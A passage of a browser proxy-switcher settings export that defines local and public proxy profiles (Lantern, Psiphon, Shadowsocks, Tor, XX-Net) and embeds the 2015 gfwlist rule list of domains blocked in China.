    "content": "{\"+Lantern for 8787\":{\"bypassList\":[{\"conditionType\":\"BypassCondition\",\"pattern\":\"<local>\"}],\"color\":\"#dd6633\",\"fallbackProxy\":{\"host\":\"127.0.0.1\",\"port\":8787,\"scheme\":\"http\"},\"name\":\"Lantern for 8787\",\"profileType\":\"FixedProfile\",\"revision\":\"14f8d214520\"},\"+PAC 1 for 25\":{\"bypassList\":[{\"conditionType\":\"BypassCondition\",\"pattern\":\"<local>\"}],\"color\":\"#4477bb\",\"fallbackProxy\":{\"host\":\"server01.pac.itzmx.com\",\"port\":25,\"scheme\":\"http\"},\"name\":\"PAC 1 for 25\",\"profileType\":\"FixedProfile\",\"revision\":\"14f9882bec2\"},\"+PAC 2 for 25\":{\"bypassList\":[{\"conditionType\":\"BypassCondition\",\"pattern\":\"<local>\"}],\"color\":\"#0000ff\",\"fallbackProxy\":{\"host\":\"198.71.82.124\",\"port\":25,\"scheme\":\"http\"},\"name\":\"PAC 2 for 25\",\"profileType\":\"FixedProfile\",\"revision\":\"151ddd3acd8\"},\"+Psiphon for 8887\":{\"bypassList\":[{\"conditionType\":\"BypassCondition\",\"pattern\":\"<local>\"}],\"color\":\"#ffff00\",\"fallbackProxy\":{\"host\":\"127.0.0.1\",\"port\":8887,\"scheme\":\"http\"},\"name\":\"Psiphon for 8887\",\"profileType\":\"FixedProfile\",\"revision\":\"14feab47c37\"},\"+SS for 1080\":{\"bypassList\":[{\"conditionType\":\"BypassCondition\",\"pattern\":\"<local>\"}],\"color\":\"#ff0000\",\"fallbackProxy\":{\"host\":\"127.0.0.1\",\"port\":1080,\"scheme\":\"http\"},\"name\":\"SS for 1080\",\"profileType\":\"FixedProfile\",\"revision\":\"14f978806bc\"},\"+Tor for 9050\":{\"bypassList\":[{\"conditionType\":\"BypassCondition\",\"pattern\":\"<local>\"}],\"color\":\"#d497ee\",\"fallbackProxy\":{\"host\":\"127.0.0.1\",\"port\":9050,\"scheme\":\"socks5\"},\"name\":\"Tor for 9050\",\"profileType\":\"FixedProfile\",\"revision\":\"151ddd468c5\"},\"+XXNET for GAE\":{\"bypassList\":[{\"conditionType\":\"BypassCondition\",\"pattern\":\"<local>\"}],\"color\":\"#08b208\",\"fallbackProxy\":{\"host\":\"127.0.0.1\",\"port\":8087,\"scheme\":\"http\"},\"name\":\"XXNET for GAE\",\"profileType\":\"FixedProfile\",\"revision\":\"14fe4a1bace\"},\"+XXNET for PHP\":{\"bypassList\":[{\"conditionType\":\"BypassCondition\",\"pattern\":\"<local>\"}],\"color\":\"#08b208\",\"fallbackProxy\":{\"host\":\"127.0.0.1\",\"port\":8088,\"scheme\":\"http\"},\"name\":\"XXNET for PHP\",\"profileType\":\"FixedProfile\",\"revision\":\"14f83990ceb\"},\"+__ruleListOf_自动切换 Lantern\":{\"color\":\"#fe9\",\"defaultProfileName\":\"direct\",\"format\":\"AutoProxy\",\"lastUpdate\":\"2015-12-30T10:16:50.527Z\",\"matchProfileName\":\"Lantern for 8787\",\"name\":\"__ruleListOf_自动切换 Lantern\",\"profileType\":\"RuleListProfile\",\"revision\":\"1500820e901\",\"ruleList\":\"[AutoProxy 0.2.9]\\n! Checksum: 7Kef/ZbUsMfIQnK3rDwrSg\\n! Expires: 6h\\n! Last Modified: Sun, 20 Dec 2015 11:16:12 +0800\\n! HomePage: https://github.com/gfwlist/gfwlist\\n\\n!---------------------Fraud/Scam-------------------\\nchina-mmm.jp.net\\n.china-mmm.net\\n||china-mmm.net\\n.lsxszzg.com\\n\\n!---------------Non-Latin characters---------------\\n\\n!------------Restricted & URL Redirects------------\\n!--ehentai\\n|http://85.17.73.31/\\n\\n||alien-ufos.com\\n||altrec.com\\n||asianspiss.com\\n||azubu.tv\\n||beeg.com\\n||boysmaster.com\\n||darpa.mil\\n||desipro.de\\n|http://img.dlsite.jp/\\n||dmm.co.jp\\n!--||dmm.com\\n||fastpic.ru\\n||flipboard.com\\n||fxnetworks.com\\n||getuploader.com\\nhulu.com\\nhuluim.com\\n||hybrid-analysis.com\\n|http://www.ilovelongtoes.com/\\n||juliepost.com\\n|http://www.m-sport.co.uk\\n||macgamestore.com\\n||metarthunter.com\\n||mfxmedia.com\\n||muzu.tv\\n|http://www.nbc.com/live\\n||netflix.com\\n||nuuvem.com\\n||osaka69.com\\n||pandora.com\\n.pandora.tv\\n|http://www.parkansky.com\\n|http://*.pimg.tw/\\n||pure18.com\\n||qq.co.za\\n|http://radiko.jp\\n||rd.com\\n||rdio.com\\n|http://cdn*.search.xxx/\\n||slacker.com\\n||spotify.com\\n||springboardplatform.com\\n||switch1.jp\\n||target.com\\n||turntable.fm\\n||twerkingbutt.com\\n||vevo.com\\n|http://ecsm.vs.com/\\n||wheretowatch.com\\n||wingamestore.com\\n||zattoo.com\\n||zozotown.com\\n\\n!--------------------Num--------------------\\n.0rz.tw\\n|http://0rz.tw\\n||0to255.com\\n1-apple.com.tw\\n||1-apple.com.tw\\n.1000giri.net\\n||1000giri.net\\n.10conditionsoflove.com\\n||10musume.com\\n123rf.com\\n.12bet.com\\n||12bet.com\\n.12vpn.com\\n||12vpn.com\\n141hongkong.com/forum\\n.17t17p.com\\n.173ng.com\\n||173ng.com\\n1984bbs.com\\n||1984bbs.com\\n!--||1984blog.com\\n.1984bbs.org\\n||1984bbs.org\\n.1998cdp.org\\n.1bao.org\\n|http://1bao.org\\n||1pondo.tv\\n.1eew.com\\n.2-hand.info\\n.2000fun.com/bbs\\n.2008xianzhang.info\\n||2008xianzhang.info\\n.213.so\\n21andy.com/blog\\n.228.net.tw\\n24smile.org\\n.2shared.com\\n.315lz.com\\n||32red.com\\n||36rain.com\\n.3a5a.com\\n.3boys2girls.com\\n.3tui.net\\n||4bluestones.biz\\n||4chan.org\\n||4shared.com\\n5i01.com\\ntaiwannation.50webs.com\\n||51.ca\\n.5isotoi5.org\\n.5maodang.com\\n64memo\\n.64museum.org\\n64tianwang.com\\n64wiki.com\\n666kb.com\\n6park.com\\n||6park.com\\n||7capture.com\\n|http://85st.com\\n.881903.com/page/zh-tw/\\n.888.com\\n||881903.com\\n89-64.org\\n||89-64.org\\n.8z1.net\\n||8z1.net\\n.9001700.com\\n|http://908taiwan.org/\\n|http://91porn.com\\n.92ccav.com\\n||9bis.com\\n||9bis.net\\n.99btgc01.com\\n||99btgc01.com\\n\\n!--------------------AA--------------------\\n.tibet.a.se\\n|http://tibet.a.se\\n||a-normal-day.com\\na5.com.ru\\n|http://aamacau.com\\n|http://cdn*.abc.com/\\n.ablwang.com\\n.aboluowang.com\\n||aboluowang.com\\n.aboutgfw.com\\n||acgkj.com\\nactimes.com.au\\n||aculo.us\\n||addictedtocoffee.de\\nadultfriendfinder.com\\nadultkeep.net/peepshow/members/main.htm\\n||advanscene.com\\n||advertfan.com\\n||aenhancers.com\\n||af.mil\\naiph.net\\n||aiph.net\\n|http://download.aircrack-ng.org\\n.aisex.com\\n||ait.org.tw\\naiweiwei.com\\n.aiweiweiblog.com\\n||aiweiweiblog.com\\n||www.ajsands.com\\n\\n!---------Akamaihd---------\\n|https://fbcdn*.akamaihd.net/\\n\\n||akiba-online.com\\n||al-qimmah.net\\n||alabout.com\\n||alasbarricadas.org\\nalexlur.org\\naliengu.com\\n||alkasir.com\\nallgirlsallowed.org\\nalliance.org.hk\\n.allinfa.com\\n|http://allinfa.com\\n||allmovie.com\\n||alternate-tools.com\\nalvinalexander.com\\nalwaysdata.com\\n||alwaysdata.com\\n||alwaysdata.net\\n||am730.com.hk\\namazon.com/Prisoner-State-Secret-Journal-Premier\\nameblo.jp\\n||ameblo.jp\\n||americangreencard.com\\n||amiblockedornot.com\\n.amnesty.org\\n||amnesty.org\\n.amnestyusa.org\\n||amnestyusa.org\\n.amnyemachen.org\\n.amoiist.com\\nanalyze-v.com\\n||anchorfree.com\\n!--Google\\n||ancsconf.org\\n||andfaraway.net\\n||android.com\\n||android-x86.org\\n||angularjs.org\\nanimecrazy.net\\naniscartujo.com\\n||aniscartujo.com\\n||anobii.com\\n.anonymizer.com\\nanontext.com\\n.answering-islam.org\\n|http://www.antd.org\\n||anthonycalzadilla.com\\n.antiwave.net\\n|http://antiwave.net\\n||aobo.com.au\\n||aolchannels.aol.com\\nvideo.aol.ca/video-detail\\nvideo.aol.co.uk/video-detail\\nvideo.aol.com\\n||video.aol.com\\n||search.aol.com\\nwww.aolnews.com\\n||aomiwang.com\\nvideo.ap.org\\n.apetube.com\\n||apiary.io\\n.apigee.com\\n||apigee.com\\n||appannie.com\\nappledaily.com\\narchive.is\\n||archive.org\\n.arctosia.com\\n|http://arctosia.com\\n||areca-backup.org\\n||arlingtoncemetery.mil\\n||army.mil\\nartsy.net\\n.asahichinese.com\\n||asahichinese.com\\nasdfg.jp/dabr\\n|http://japanfirst.asianfreeforum.com/\\n.asiaharvest.org\\n||asiaharvest.org\\nasianews.it\\n||asianwomensfilm.de\\n||askstudent.com\\n.askynz.net\\n||askynz.net\\n||assembla.com\\n||astonmartinnews.com\\n||astrill.com\\n||atc.org.au\\n.atchinese.com\\n|http://atchinese.com\\natgfw.org\\n||atj.org.tw\\n.atlaspost.com\\n||atlaspost.com\\n||atdmt.com\\n.atnext.com\\n||atnext.com\\navaaz.org\\n||avaaz.org\\n!--||avast.com\\n.avdb.in\\n||avdb.in\\n.avdb.tv\\n||avdb.tv\\n||avidemux.org\\n||avoision.com\\n||axureformac.com\\n\\n!--------------------BB--------------------\\nforum.baby-kingdom.com\\nbabynet.com.hk\\nbackchina.com\\n||backchina.com\\n.backpackers.com.tw/forum\\nbacktotiananmen.com\\nbadoo.com\\n|http://*2.bahamut.com.tw\\n||baidu.jp\\n||baixing.me\\nhen.bao.li\\n||bannedbook.org\\nbannedbook.org\\n||bannedbook.org\\n.barenakedislam.com\\n||barnabu.co.uk\\nbayvoice.net\\n||bayvoice.net\\ndajusha.baywords.com\\n.bbc.co.uk*chinese\\n.bbc.co.uk/tv\\n.bbc.co*zhongwen\\nnews.bbc.co.uk/onthisday*newsid_2496000/2496277\\nnewsforums.bbc.co.uk\\n.bbcchinese.com\\n||bbcchinese.com\\n|http://bbc.in\\n.bbg.gov\\n||bbsfeed.com\\nbbsland.com\\n.bbsone.com\\n.bcc.com.tw/board\\n.bcchinese.net\\n.bebo.com\\n||bebo.com\\n.behindkink.com\\n||beijing1989.com\\nbeijingspring.com\\n||beijingspring.com\\n.berlintwitterwall.com\\n||berlintwitterwall.com\\n.bestforchina.org\\n||bestforchina.org\\n||bestvpn.com\\n.bestvpnservice.com\\n.bestvpnusa.com\\n||bet365.com\\n.betfair.com\\n.bettween.com\\n||bettween.com\\n||betvictor.com\\n.bewww.net\\n.beyondfirewall.com\\n||bfnn.org\\n||bfsh.hk/\\nbiantailajiao.com\\nbiantailajiao.in\\n.biblesforamerica.org\\n|http://biblesforamerica.org\\n.bic2011.org\\nbigfools.com\\n.bignews.org\\n||bignews.org\\n.bigsound.org/portnoy\\n|http://billypan.com/wiki\\n||billywr.com\\nbipic.net\\n.bit.ly\\n|http://bit.ly\\n!--||bitbucket.org\\n||bitcointalk.org\\n.bitshare.com\\n||bitshare.com\\n!-|http://bitsnoop.com\\nbjzc.org\\n||bjzc.org/\\ntor.blingblingsquad.net\\n.blinkx.com\\n||blinkx.com\\nblinw.com\\n.blip.tv\\n||blip.tv/\\n.blockcn.com\\n||blockcn.com\\n||blog.de\\n||blogblog.com\\n.blogcatalog.com\\n||blogcatalog.com\\n||blogcity.me\\n.blogger.com\\n||blogger.com\\nblogimg.jp\\n||blog.kangye.org\\n.bloglines.com\\n||bloglines.com\\n||bloglovin.com\\nrconversation.blogs.com\\n/^https?:\\\\/\\\\/[^\\\\/]+blogspot\\\\.(.*)/\\nblogtd.net\\n.blogtd.org\\n|http://blogtd.org\\n||bloodshed.net\\n.bloomberg.cn\\n||bloomberg.cn\\n.bloomberg.com\\n||bloomberg.com\\nbloomberg.de\\n||bloomberg.de\\n||bloomfortune.com\\n||bnrmetal.com\\nboardreader.com/thread\\n||boardreader.com\\n.bod.asia\\n|http://bod.asia\\nbonbonme.com\\n||boobstagram.com\\n||book.com.tw\\n||books.com.tw\\n||botanwang.com\\n.bot.nu\\n.bowenpress.com\\n||bowenpress.com\\n||app.box.com\\ndl.box.net\\n||dl.box.net\\nboxun.com\\n||boxun.com\\n.boxun.tv\\n||boxun.tv\\nboxunblog.com\\n||boxunblog.com\\n.boxunclub.com\\n.boyfriendtv.com\\n||br.st\\n||brandonhutchinson.com\\n||braumeister.org\\n.bravotube.net\\n||bravotube.net\\n.brazzers.com\\n.break.com\\n||break.com\\n.breakingtweets.com\\n||breakingtweets.com\\n||breakwall.net\\nbriian.com/6511/freegate\\n.briefdream.com/%E7%B4%A0%E6%A3%BA\\nbrizzly.com\\n||brizzly.com\\nbroadbook.com\\n.broadpressinc.com\\nbrucewang.net\\n||bt95.com\\n|http://btdigg.org\\n.btspread.com\\n.budaedu.org\\n||budaedu.org\\n.bullog.org\\n||bullog.org\\n.bullogger.com\\n||bullogger.com\\n|http://www.businessinsider.com.au/*\\n|http://static*.businessinsider.com/\\n.businessweek.com\\n!--businesstimes\\n!-.businesstimes.com.cn\\n!-|http://businesstimes.com.cn\\n||bugclub.org\\n||buugaa.com\\n.buzzhand.com\\n.buzzhand.net\\nbuzzurl.jp\\nbwsj.hk\\n||bx.tl\\nholz.byethost8.com\\n\\n!--------------------CC--------------------\\n.c-spanvideo.org\\n||c-spanvideo.org\\n||c-est-simple.com\\n.cacnw.com\\n.cactusvpn.com\\n||cactusvpn.com\\n.cafepress.com\\n.cahr.org.tw\\n.calameo.com/books\\ncn.calameo.com\\n|http://cn.calameo.com\\n.its.caltech.edu/~falun/\\n.cam4.com\\n.cam4.jp\\n.cam4.sg\\n||cams.com\\n.cams.org.sg\\ncanadameet.com\\n|http://bbs.cantonese.asia/\\n!--http://www.cantonese.asia/action-bbs.html\\n.canyu.org\\n.cao.im\\n.caobian.info\\n||caobian.info\\n.cap.org.hk\\n||cap.org.hk\\ncardinalkungfoundation.org\\n.casatibet.org.mx\\ncaochangqing.com\\n||caochangqing.com\\ncari.com.my\\n||catch22.net\\n||catfightpayperview.xxx\\n.catholic.org.hk\\n||catholic.org.hk\\ncatholic.org.tw\\n||catholic.org.tw\\n||cattt.com\\n||cbc.ca\\n.cbsnews.com/video\\n.cbtc.org.hk\\n!-.ccc.de\\n!-||ccc.de\\n.ccdtr.org\\n||ccdtr.org\\n.ccim.org\\ncclife.org\\n.ccthere.com\\n.cctongbao.com/article/2078732\\nccue.ca\\nccue.com\\n.cgdepot.org\\n|http://cgdepot.org\\n||cdbook.org\\n||cdd.me\\n.cdef.org\\n||cdig.info\\ncdjp.org\\n||cdjp.org/\\n||cdninstagram.com\\n.cdnews.com.tw\\ncdp1989.org\\ncdp1998.org\\n||cdp1998.org\\ncdp2006.org\\n||cdp2006.org\\n.cdpa.url.tw\\ncdpeu.org\\ncdpusa.org\\ncdpweb.org\\n||cdpweb.org\\ncdpwu.org\\n||cdpwu.org\\n||cdw.com\\n.cecc.gov\\n||cecc.gov\\n||cellulo.info\\n||cenci.tk\\n||cenews.eu\\n||centralnation.com\\n.centurys.net\\n|http://centurys.net\\n.cfhks.org.hk\\n.cftfc.com\\n.cgst.edu\\n||chandoo.org\\n.change.org\\n|http://change.org\\n.changp.com\\n||changp.com\\n.chapm25.com\\n.chaturbate.com\\nchengmingmag.com\\n.chenguangcheng.com\\n||chenguangcheng.com\\nchenpokong.com\\n||cherrysave.com\\n.chhongbi.org\\n|http://chicagoncmtv.com\\n.china-week.com\\nchina101.com\\n||china101.com\\n||china18.org\\n||china21.com\\nchina21.org\\n||china21.org\\n.china5000.us\\nchinaaffairs.org\\n||chinaaffairs.org\\n||chinaaid.me\\nchinaaid.us\\nchinaaid.org\\nchinaaid.net\\nchinacomments.org\\n||chinacomments.org\\nchinachange.org\\nchinachannel.hk\\n||chinachannel.hk\\n.chinadigitaltimes.net\\n||chinadigitaltimes.net\\n.chinaelections.org\\n||chinaelections.org\\n.chinaeweekly.com\\n||chinaeweekly.com\\n||chinafreepress.org\\n.chinagate.com\\nchinageeks.org\\nchinagfw.org\\n||chinagfw.org\\n.chinagreenparty.org\\n||chinagreenparty.org\\n.chinahorizon.org\\n||chinahorizon.org\\n.chinahush.com\\nchinalaborwatch.org\\nchinalawtranslate.com\\nchinaxchina.com/howto\\n.chinainperspective.com\\nchinainperspective.net/ArtShow.aspx?\\n||chinainperspective.net\\n.chinainperspective.org\\n||chinainperspective.org\\n||chinainterimgov.org\\nchinalawandpolicy.com\\n.chinamule.com\\n||chinamule.com\\nchinamz.org\\n.chinarightsia.org\\nchinasocialdemocraticparty.com\\n||chinasocialdemocraticparty.com\\nchinasoul.org\\n||chinasoul.org\\n.chinasucks.net\\nchinatimes.com\\n||chinatopsex.com\\nchinatweeps.com\\nchinaway.org\\n.chinaworker.info\\n||chinaworker.info\\nchinayouth.org.hk\\nchinayuanmin.org\\n||chinayuanmin.org\\n.chinese-hermit.net\\nchinese-memorial.org\\n||chinesedailynews.com\\n.chinesen.de\\n||chinesen.de\\n.chinesepen.org\\n.chinesetalks.net/ch\\n.chingcheong.com\\n||chingcheong.com\\nchithu.org\\nchn.chosun.com\\n.chrdnet.com\\n|http://chrdnet.com\\nchristianstudy.com\\n||christianstudy.com\\nchristusrex.org/www1/sdc\\n||chrlcg-hk.org\\n||chrome.com\\n||chromeadblock.com\\n||chromium.org\\nchubun.com\\nchuizi.net\\n||christiantimes.org.hk\\n.chrlawyers.hk\\n!--||allaboutalpha.com\\n||circlethebayfortibet.org\\n||citizenscommission.hk\\n.citizenlab.org\\ncitizensradio.org\\n.city365.ca\\n|http://city365.ca\\ncity9x.com\\n.civicparty.hk\\n||civicparty.hk\\ncivilhrfront.org\\n||civilhrfront.org\\n.civilmedia.tw\\npsiphon.civisec.org\\n!--||cjb.net\\n.ck101.com\\n||ck101.com\\n.clarionproject.org/news/islamic-state-isis-isil-propaganda\\n||classicalguitarblog.net\\n.clb.org.hk\\nclearharmony.net\\nclearwisdom.net\\n.clipfish.de\\n||club1069.com\\ncmi.org.tw\\n|http://www.cmoinc.org\\n||cmule.com\\n||cmule.org\\n||cms.gov\\n||cna.com.tw\\n.cnavista.com.tw/shop/stores_app\\n.cnd.org\\n||cnd.org/\\nwiki.cnitter.com\\n.cnn.com/video\\nnews.cnyes.com\\n||cochina.co\\n||cochina.org\\n.code1984.com/64\\n|http://goagent.codeplex.com\\n||codeshare.io\\n||codeskulptor.org\\n|http://tosh.comedycentral.com\\ncomefromchina.com\\n||comefromchina.com\\n||commentshk.com\\n||compileheart.com\\n||conoyo.com\\n.contactmagazine.net\\n.convio.net\\n.coobay.com\\n|http://www.cool18.com/bbs*/\\n.coolaler.com\\n||coolaler.com\\ncoolder.com\\n||coolder.com\\n||coolloud.org.tw\\ncorumcollege.com\\n||couchdbwiki.com\\n||cotweet.com\\ncpj.org\\n||cpj.org/\\ncrackle.com\\n||crackle.com\\n||crchina.org\\ncrd-net.org\\ncreaders.net\\n||creaders.net\\n.crossthewall.net\\n||crossthewall.net\\ncsdparty.com\\n||csdparty.com\\n||csuchen.de\\n.ctfriend.net\\n.ctitv.com.tw\\ncts.com.tw\\n|http://library.usc.cuhk.edu.hk/\\n|http://mjlsh.usc.cuhk.edu.hk/\\n.cuhkacs.org/~benng\\n.cuihua.org\\n||cuihua.org\\n.cuiweiping.net\\n||cuiweiping.net\\n||curvefish.com\\n.culture.tw\\n||culture.tw\\n.cw.com.tw\\n|http://forum.cyberctm.com\\n||cyberghostvpn.com\\n||cynscribe.com\\ncytode.us\\n||ifan.cz.cc\\n||mike.cz.cc\\n||nic.cz.cc\\n\\n!--------------------DD--------------------\\ncl.d0z.net\\n.dabr.co.uk\\n||dabr.co.uk\\ndabr.mobi\\n||dabr.mobi\\n||dabr.me\\ndadazim.com\\n||dadazim.com\\n.dadi360.com\\ndafagood.com\\ndafahao.com\\n||dalailama.ru\\n.dalailamavisit.org.nz\\n.dailidaili.com\\n||dailidaili.com\\n.dailymotion.com\\n.dajiyuan.com\\n.dajiyuan.eu\\ndalailama.com\\n.dalailamaprotesters.info\\n.dalailamaworld.com\\n||dalailamaworld.com\\ndalianmeng.org\\n||dalianmeng.org\\n.daliulian.org\\n||daliulian.org\\n.danke4china.net\\n||danke4china.net\\n.danwei.org\\ndaolan.net\\n.david-kilgour.com\\n|http://david-kilgour.com\\ndaxa.cn\\n||daxa.cn/\\ncn.dayabook.com\\n.daylife.com/topic/dalai_lama\\n||dcard.tw\\n.ddc.com.tw\\n||de-sci.org\\n.de-sci.org\\nlists.debian.org\\npackages.debian.org/zh-cn/lenny/gpass\\n||delcamp.net\\ndelicious.com/GFWbookmark\\n.democrats.org\\n||democrats.org\\n||desc.se/\\n.destroy-china.jp\\n||deutsche-welle.de\\n!--||deviantart.com\\n!--||deviantart.net\\n||devio.us\\n||devpn.com\\n|http://www.dfanning.com\\n||dfas.mil\\n.dharamsalanet.com\\n.diaoyuislands.org\\n||diaoyuislands.org\\nstatic.digg.com\\n|http://digiland.tw/\\n||digitalnomadsproject.org\\n.diigo.com\\n||diigo.com\\n||furl.net\\n.dipity.com\\n||directcreative.com\\n||discogs.com\\n@@||cdn.discogs.com\\n\\n.discuss.com.hk\\n||discuss.com.hk\\ndisp.cc\\n.dit-inc.us\\n||dit-inc.us\\n.dizhidizhi.com\\n||dizhuzhishang.com\\ndjangosnippets.org\\n||dl-laby.jp\\n||dlsite.com\\n||dmcdn.net\\n||dnscrypt.org\\n||dns2go.com\\n||dnssec.net\\n.dogfartnetwork.com/tour\\n.dojin.com\\n.dok-forum.net\\n||dolc.de\\n||dolf.org.hk\\n||dollf.com\\n.domain.club.tw\\ndongtaiwang.com\\n||dongtaiwang.com\\n.dongtaiwang.net\\n||dongtaiwang.net\\n.dongyangjing.com\\n.dontfilter.us\\n||dontmovetochina.com\\n.dotplane.com\\n||dotplane.com\\n||dotsub.com\\n||dougscripts.com\\ndowei.org\\n||doxygen.org\\ndphk.org\\ndpp.org.tw\\n||dpp.org.tw\\n||dreammask.org\\n.drepung.org\\n||drgan.net\\n||dropbox.com\\n||dropboxusercontent.com\\ndrsunacademy.com\\n.drtuber.com\\n.dscn.info\\n||dtiblog.com\\n||dtic.mil\\ndtiserv2.com\\n||duckduckgo.com\\n.duckload.com/download\\n||duckmylife.com\\n.duihua.org\\n||duihua.org\\n||duihuahrjournal.org\\n.duoweitimes.com\\n||duoweitimes.com\\nduping.net\\n||duplicati.com\\ndupola.com\\ndupola.net\\n||dvorak.org\\n.dw.com\\n|http://www.dw.com\\n||dw.de\\n.dw-world.com\\n||dw-world.com\\n.dw-world.de\\nhttp://dw-world.de\\nwww.dwheeler.com\\ndwnews.com\\n||dwnews.com\\ndwnews.net\\n||dwnews.net\\nxys.dxiong.com\\n||dynawebinc.com\\n.dyndns.org\\n.dzze.com\\n\\n!--------------------EE--------------------\\n||e-classical.com.tw\\n||e-gold.com\\n.e-gold.com\\n||g.e-hentai.org\\n||lofi.e-hentai.org\\ne-info.org.tw\\n.e-traderland.net/board\\n.e123.hk\\n||earthcam.com\\neastern-ark.com\\n.eastturkestan.com\\n|http://www.eastturkistan.net/\\n.eastturkistan-gov.org\\n.eastturkistangovernmentinexile.us\\n||eastturkistangovernmentinexile.us\\nebookbrowse.com\\nebookee.com\\necministry.net\\nbbs.ecstart.com\\n||edgecastcdn.net\\n/twimg\\\\.edgesuite\\\\.net\\\\/\\\\/?appledaily/\\nedicypages.com\\nedoors.com\\n.edubridge.com\\n||edubridge.com\\n||eevpn.com\\nefcc.org.hk\\n||efmoe.com\\n||eic-av.com\\nelectionsmeter.com\\n||elgoog.im\\n||elpais.com\\n.eltondisney.com\\n||emacsblog.org\\n.emory.edu\\n.emule-ed2k.com\\n|http://emule-ed2k.com\\n.emuparadise.me\\n||enewstree.com\\nchinese.engadget.com\\n||englishfromengland.co.uk\\n||entermap.com\\n.episcopalchurch.org\\nepochtimes-bg.com\\n||epochtimes-bg.com\\nepochtimes-romania.com\\n||epochtimes-romania.com\\nepochtimes.co.il\\n||epochtimes.co.il\\nepochtimes.co.kr\\n||epochtimes.co.kr\\nepochtimes.com\\n||epochtimes.com\\nepochtimes.de\\nepochtimes.fr\\n.epochtimes.ie\\nepochtimes.jp\\nepochtimes.ru\\nepochtimes.se\\nepochtimestr.com\\n||epochweekly.com\\nerabaru.net\\n.erepublik.com\\n|http://erktv.com/\\n||ernestmandel.org\\n||erights.net\\n.etaa.org.au\\netaiwannews.com\\n||etizer.org\\n.ettoday.net\\netvonline.hk\\n.eu.org\\n||eu.org\\n.eulam.com\\neventful.com\\n||exblog.jp\\n||blog.exblog.co.jp\\n@@||www.exblog.jp\\n.exchristian.hk\\n||exchristian.hk\\n|http://blog.excite.co.jp/\\n||expatshield.com\\n||exploader.net\\n.expressvpn.com\\n.extremetube.com\\neyevio.jp\\n||eyevio.jp\\n.eyny.com\\n.ezpc.tk/category/soft\\n.ezpeer.com\\n\\n!--------------------FF--------------------\\n.facebook.com\\n||facebook.com\\n/^https?:\\\\/\\\\/[^\\\\/]+facebook\\\\.com/\\n@@||*v6.facebook.com\\n||connect.facebook.net\\n||facebookquotes4u.com\\n|http://facesoftibetanselfimmolators.info\\n||facesofnyfw.com\\n\\n!--Enhancement:\\n!--http://faithfuleye.com.detail.website/\\n!--http://faithfuleye.com.ipaddress.com/\\n.faithfuleye.com\\n\\n||faiththedog.info\\n.fakku.net\\nfalun-co.org\\nfalunart.org\\n||falunasia.info\\nfalundafa.org\\nfalundafa-dc.org\\n||falundafa-florida.org\\n||falundafa-nc.org\\nfalun-ny.net\\nfalundafamuseum.org\\nfalungong.org.uk\\n||falunhr.org\\nfaluninfo.net\\n.falunpilipinas.net\\n||falunworld.net\\nfamilyfed.org\\n||fanglizhi.info\\n||fangong.org\\nfangongheike.com\\nfanqianghou.com\\nfapdu.com\\n!--.farxian.com\\n.fawanghuihui.org\\n||fbcdn.net\\nfanqiangyakexi.net\\nfail.hk\\n||famunion.com\\n.fan-qiang.com\\n.fangbinxing.com\\n||fangbinxing.com\\nfangeming.com\\n||fanswong.com\\n.fanyue.info\\n.farwestchina.com\\n!--||fastly.net\\nen.favotter.net\\n||faststone.org\\nfavstar.fm\\n||favstar.fm\\nfaydao.com/weblog\\n||fb.com\\nfb.me\\n||fb.me\\n||fbsbx.com\\nfc2.com\\n.fc2china.com\\nfc2blog.net\\n|http://uygur.fc2web.com/\\nvideo.fdbox.com\\n.fdc89.jp\\n||fourface.nodesnoop.com\\n!--feedbooks.mobi\\n||feedburner.com\\n||feedzshare.com\\n||feelssh.com\\nfeer.com\\n|http://feitianacademy.org\\n.feitian-california.org\\n||feministteacher.com\\n.fengzhenghu.com\\n||fengzhenghu.com\\n|http://ff.im\\nfflick.com\\nfgmtv.net\\n.fgmtv.org\\n|http://feeds.fileforum.com\\n.files2me.com\\n|http://files2me.com\\n.fileserve.com/file\\nfillthesquare.org\\n||finalion.jp\\nfindbook.tw\\n.fingerdaily.com\\nfinler.net\\n.fireofliberty.org\\n||fireofliberty.org\\n!--||flagfox.net\\n.falsefire.com\\n||falsefire.com\\nfleshbot.com\\n\\n!--||farm6.staticflickr.com\\n!--.flickr.com/photos/46231077@N06\\n!--.flickr.com/groups/aiweiwei\\n!--.flickr.com/photos/digitalboy100\\n!--.flickr.com/photos/fzhenghu\\n!--.flickr.com/photos/lonelyfox\\n!--flickr.com/photos/vanvan/529925157\\n!--.flickr.com/photos/winterkanal\\n!--.flickr.com/photos/zola\\n||flickr.com\\n||staticflickr.com\\n\\nflickrhivemind.net\\nyuming.flnet.org\\n|http://cn.fmnnow.com\\nfofldfradio.org\\nblog.foolsmountain.com\\nwww.forum4hk.com\\npioneer-worker.forums-free.com\\n!--foursquare.com\\n|http://4sq.com\\n||fotop.net\\nvideo.foxbusiness.com\\n|http://foxgay.com\\n||fringenetwork.com\\n||flecheinthepeche.fr\\n||focustaiwan.tw\\n.focusvpn.com\\n||fofg.org\\n.fooooo.com\\n||fooooo.com\\nfootwiball.com\\n||fourthinternational.org\\n||foxdie.us\\n||foxsub.com\\nfoxtang.com\\n.fpmt.org\\n|http://fpmt.org\\n.fpmt.tw\\n.fpmt-osel.org\\n||fpmtmexico.org\\nfqok.org\\n||fqrouter.com\\n||franklc.com\\n.freakshare.com\\n|http://freakshare.com\\n||free4u.com.ar\\nfree-gate.org\\n.free.fr/adsl\\n||allonlinux.free.fr\\n||dimitrik.free.fr\\nkineox.free.fr\\n||puttycm.free.fr\\n||freealim.com\\nwhitebear.freebearblog.org\\n.freechal.com\\n.freedomhouse.org\\n||freedomhouse.org\\n.freegao.com\\n||freegao.com\\n.free-hada-now.org\\n.freelotto.com\\n||freelotto.com\\nfreeman2.com\\n.freeopenvpn.com\\nfreemoren.com\\nfreemorenews.com\\nfreenet-china.org\\nfreenewscn.com\\n.freeoz.org/bbs\\n||freeoz.org\\n||www.bulbous.freeserve.co.uk\\n||freessh.us\\nfree4u.com.ar\\n.free-ssh.com\\n||free-ssh.com\\n.freedomcollection.org/interviews/rebiya_kadeer\\n.freeforums.org\\n||freenetproject.org\\n.freeoz.org\\n.freetibet.net\\n||freetibet.org\\n|http://freetibetanheroes.org\\n||freewallpaper4.me\\n.freewebs.com\\n||freeweibo.com\\n.freexinwen.com\\n.freeyoutubeproxy.net\\n||freeyoutubeproxy.net\\nfriendfeed.com\\nfriendfeed-media.com/e99a4ebe2fb4c1985c2a58775eb4422961aa5a2e\\nfriends-of-tibet.org\\n.friendsoftibet.org\\nfreechina.net\\n|http://www.zensur.freerk.com/\\nfreevpn.nl\\n|http://adult.friendfinder.com/\\n.fring.com\\n||fring.com\\n||frommel.net\\n.f